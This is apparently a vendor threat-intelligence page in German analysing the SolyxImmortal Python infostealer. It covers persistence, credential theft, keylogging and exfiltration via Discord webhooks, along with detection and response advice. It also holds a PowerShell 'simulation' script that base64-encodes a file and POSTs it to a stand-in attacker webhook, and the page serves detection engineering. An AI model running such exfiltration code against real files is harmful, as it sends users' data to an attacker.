SOLYXIMMORTAL: PYTHON-MALWARE-ANALYSE
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Sol yxImmortal ist ein auf Python basierender Windows-Informationsdieb, der Anmeldeinformationen, Dokumente, Tastatureingaben und Screenshots sammelt und die Daten dann über Discord Webhooks exfiltriert. Die Malware wird vollständig im Benutzermodus ausgeführt, behält die Persistenz bei, indem sie eine Kopie im AppData-Verzeichnis des Benutzers ablegt und einen Run-Key-Registrierungswert festlegt, und operiert weiter, ohne eine sichtbare Benutzeroberfläche zu präsentieren.
Untersuchung
Die Analyse ergab zwei eingebettete Discord-Webhook-URLs und die Verwendung von Windows DPAPI zur Entschlüsselung von Anmeldeinformationen von Chromium-basierten Browsern. Der Stealer protokolliert Tastatureingaben über einen Tastatur-Hook, verfolgt das aktive Fenster, um potenziell sensible Anwendungsnamen zu identifizieren, und erfasst Screenshots in regelmäßigen Abständen. Die Persistenz wird durch das Kopieren der Nutzlast an einen verborgenen Ort unter %AppData% und das Hinzufügen eines Werts zum HKCU Run Key implementiert, um die Ausführung beim Benutzeranmeldung zu starten.
Minderung
Erzwinge eine Anwendungserlaubnislisten, überwache die Erstellung und Ausführung von Binärdateien aus benutzer-schreibbaren Pfaden, erkenne Änderungen an benutzerspezifischen Run-Keys und warne bei ausgehenden HTTPS POST-Aktivitäten zu Discord Webhook-Endpunkten. Stärken Sie die Kontrollen rund um die Credential Stores von Browsern und reduzieren Sie die Exposure von Endpunkten, indem Sie die Nutzung von Skriptsprachen dort einschränken oder streng regeln, wo dies praktikabel ist.
Reaktion
Bei Erkennung Isolieren Sie den betroffenen Endpunkt, entfernen Sie die bösartige Kopie im AppData-Verzeichnis, löschen Sie den zugehörigen Run Key-Wert und blockieren Sie die identifizierten Discord-Webhook-URLs. Drehen Sie die Anmeldeinformationen für potenziell betroffene Konten und führen Sie eine forensische Sammlung von Keylog-Dateien, Screenshots und Browser-Datenbanken durch, um die Reichweite und Ursachenanalyse zu unterstützen.
"graph TB %% Klassendefinitionen classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Technik-Knoten tech_python["<b>Technik</b> – <b>T1059.006</b> Befehls- und Skriptinterpreter: Python<br/><b>Beschreibung</b>: Führt bösartigen Python-Code aus, um das Implantat zu starten und die Funktionalität zu initiieren."] class tech_python technique tech_registry["<b>Technik</b> – <b>T1547.001</b> Autostart-Ausführung beim Booten oder Anmelden: Registry Run Keys<br/><b>Beschreibung</b>: Kopiert Malware an einen beschreibbaren Ort und fügt einen Run Key für die Persistenz über Anmeldungen hinweg hinzu."] class tech_registry technique tech_hidden["<b>Technik</b> – <b>T1564.005</b> Artifakte verbergen: Verdecktes Dateisystem<br/><b>Beschreibung</b>: Markiert die bösartige Kopie mit versteckten und Systemattributen, um Entdeckung zu vermeiden."] class tech_hidden technique tech_browser_creds["<b>Technik</b> – <b>T1555.003</b> Anmeldeinformationen aus Passwortspeichern: Web-Browser<br/><b>Beschreibung</b>: Extrahiert und entschlüsselt gespeicherte Chromiumu2011basierte Browser-Anmeldedaten unter Verwendung des Master-Keys und DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Technik</b> – <b>T1083</b> Datei- und Verzeichnisentdeckung<br/><b>Beschreibung</b>: Durchsucht das Dateisystem, um Interessensdokumente zu finden."] class tech_file_discovery technique tech_keylogging["<b>Technik</b> – <b>T1056.001</b> Eingabeerfassung: Keylogging<br/><b>Beschreibung</b>: Zeichnet Tastenanschläge über einen beständigen Tastatur-Listener auf und speichert diese im Speicher."] class tech_keylogging technique tech_screen_capture["<b>Technik</b> – <b>T1113</b> Bildschirmaufnahme<br/><b>Beschreibung</b>: Erfasst regelmäßig Screenshots des aktiven Vordergrundfensters und bei sensiblen Aktivitäten."] class tech_screen_capture technique tech_archive["<b>Technik</b> – <b>T1560.002</b> Erfasste Daten archivieren: Archiv über Bibliothek<br/><b>Beschreibung</b>: Komprimiert bereitgestellte Daten in ein ZIP-Archiv mit einer Bibliothek, um Größe zu reduzieren und Inhalt zu verschleiern."] class tech_archive technique tech_obfuscate["<b>Technik</b> – <b>T1027</b> Verschleierte/komprimierte Dateien und Informationen<br/><b>Beschreibung</b>: Verwendet Komprimierung, um Daten vor der Exfiltration zu verbergen."] class tech_obfuscate technique tech_exfil["<b>Technik</b> – <b>T1567.004</b> Exfiltration über Webhook<br/><b>Beschreibung</b>: Sendet gesammelte Daten an vom Angreifer kontrollierte Discord Webhook-URLs über HTTPS."] class tech_exfil technique tech_third_party["<b>Technik</b> – <b>T1102.003</b> Web-Dienst: Dritten gelieferten Dienstleistungen<br/><b>Beschreibung</b>: Verwendet Discord als Dritten gelieferten Dienst für Befehls- und Kontrollkommunikation."] class tech_third_party technique %% Artifakt- und Prozessknoten artifact_python["<b>Artifakt</b> – Lethalcompany.py auf dem Opferhost ausgeführt"] class artifact_python artifact process_copy["<b>Prozess</b> – Kopiert Malware in das %AppData% Verzeichnis"] class process_copy process artifact_persistence["<b>Artifakt</b> – Registry Run Key für kopierte Datei erstellt"] class artifact_persistence artifact artifact_hidden["<b>Artifakt</b> – Dateiattribute auf versteckt und System gesetzt"] class artifact_hidden artifact artifact_cred_extraction["<b>Artifakt</b> – Extraktion von Chrome/Edge-Passwörtern und Cookies"] class artifact_cred_extraction artifact artifact_file_search["<b>Artifakt</b> – Rekursive Aufzählung von .doc-, .pdf-, .xls-Dateien im Benutzer-Homedir"] class artifact_file_search artifact artifact_keylog["<b>Artifakt</b> – Inu2011Speicher-Tastaturpuffer regelmäßig geleert"] class artifact_keylog artifact artifact_screenshot["<b>Artifakt</b> – Screenshots basierend auf Fenstertitel-Schlüsselwörtern erfasst"] class artifact_screenshot artifact artifact_zip["<b>Artifakt</b> – ZIP-Archiv mit bereitgestellten Daten erstellt"] class artifact_zip artifact artifact_exfil["<b>Artifakt</b> – HTTPS POST an Discord Webhook mit Archiv und Screenshots"] class artifact_exfil artifact service_discord["<b>Dienst</b> – Discord Webhook für C2 und Exfiltration verwendet"] class service_discord service %% Verbindungen, die den Angrifffluss zeigen artifact_python –>|führt aus| tech_python tech_python –>|ermöglicht| process_copy process_copy –>|platziert Datei in AppData| artifact_persistence artifact_persistence –>|registriert| tech_registry artifact_persistence –>|versteckt markiert| tech_hidden tech_hidden –>|wendet an| artifact_hidden tech_browser_creds –>|sammelt| artifact_cred_extraction tech_file_discovery –>|sammelt| artifact_file_search tech_keylogging –>|erfasst| artifact_keylog tech_screen_capture –>|erfasst| artifact_screenshot tech_archive –>|erstellt| artifact_zip tech_obfuscate –>|unterstützt| tech_archive artifact_zip –>|vorbereitet für| tech_exfil tech_exfil –>|verwendet| service_discord service_discord –>|empfängt Daten via| artifact_exfil tech_third_party –>|bietet Kanal für| tech_exfil "
Angriffsablauf
Erkennungen
Möglicher Missbrauch von Discord als C2-Kanal (über Proxy)
Anzeigen
Zuweisung der Ausführung zum Verbergen von Dateien (über Befehlszeile)
Anzeigen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über registry_event)
Anzeigen
IOCs (HashMd5) zur Erkennung: SOLYXIMMORTAL: PYTHON MALWARE ANALYSE
Anzeigen
IOCs (HashSha256) zur Erkennung: SOLYXIMMORTAL: PYTHON MALWARE ANALYSE
Anzeigen
Erkennung der SolyxImmortal-Malware-Exfiltration über Discord Webhooks [Windows Netzwerkverbindung]
Anzeigen
SolyxImmortal Python Malware Ausführung und Persistenz [Windows Prozessaufruf]
Anzeigen
Simulation Ausführung
Voraussetzung: Der Telemetry & Baseline Pre-flight Check muss bestanden sein.
-
Angriffserzählung & Kommandos:
Der Gegner hat bereits den Host kompromittiert und Anmeldedaten, Keylogs und Screenshots (T1056.001, T1113) erbeutet. Der nächste Schritt ist die Exfiltration der gesammelten Daten über ein bösartiges Discord-Webhook. Dabei verwendet die Malware PowerShell (nativ, ohne externe Binärdateien), um eine JSON-Nutzlast zu erstellen, die Base-64-kodierte Dateidaten enthält, und sie an die Webhook-URL zu senden. Da die Regel nur nach dem Hostnamen und der HTTP-Methode sucht, sollte diese Aktivität einen Alarm auslösen. -
Regressionstest-Skript:
# Simulierte SolyxImmortal-Exfiltration über Discord-Webhook param( [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [string]$FilePath = "$env:TEMPsample.txt" ) # 1. Erstelle eine Dummy-Datei, die gewonnene Daten darstellt Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s")) # 2. Kodiert den Dateiinhalte in Base64 (Verschleierung simulieren) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Erstelle den JSON-Nutzlast, der von Discord-Webhook erwartet wird $payload = @{ content = "Exfiltrations-Nutzlast" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. Sende HTTPS POST-Anfrage Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "Exfiltrationsversuch gesendet." -
Säuberungsbefehle:
# Entferne die Dummy-Datei und lösche alle verbleibenden Variablen Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "Bereinigung abgeschlossen."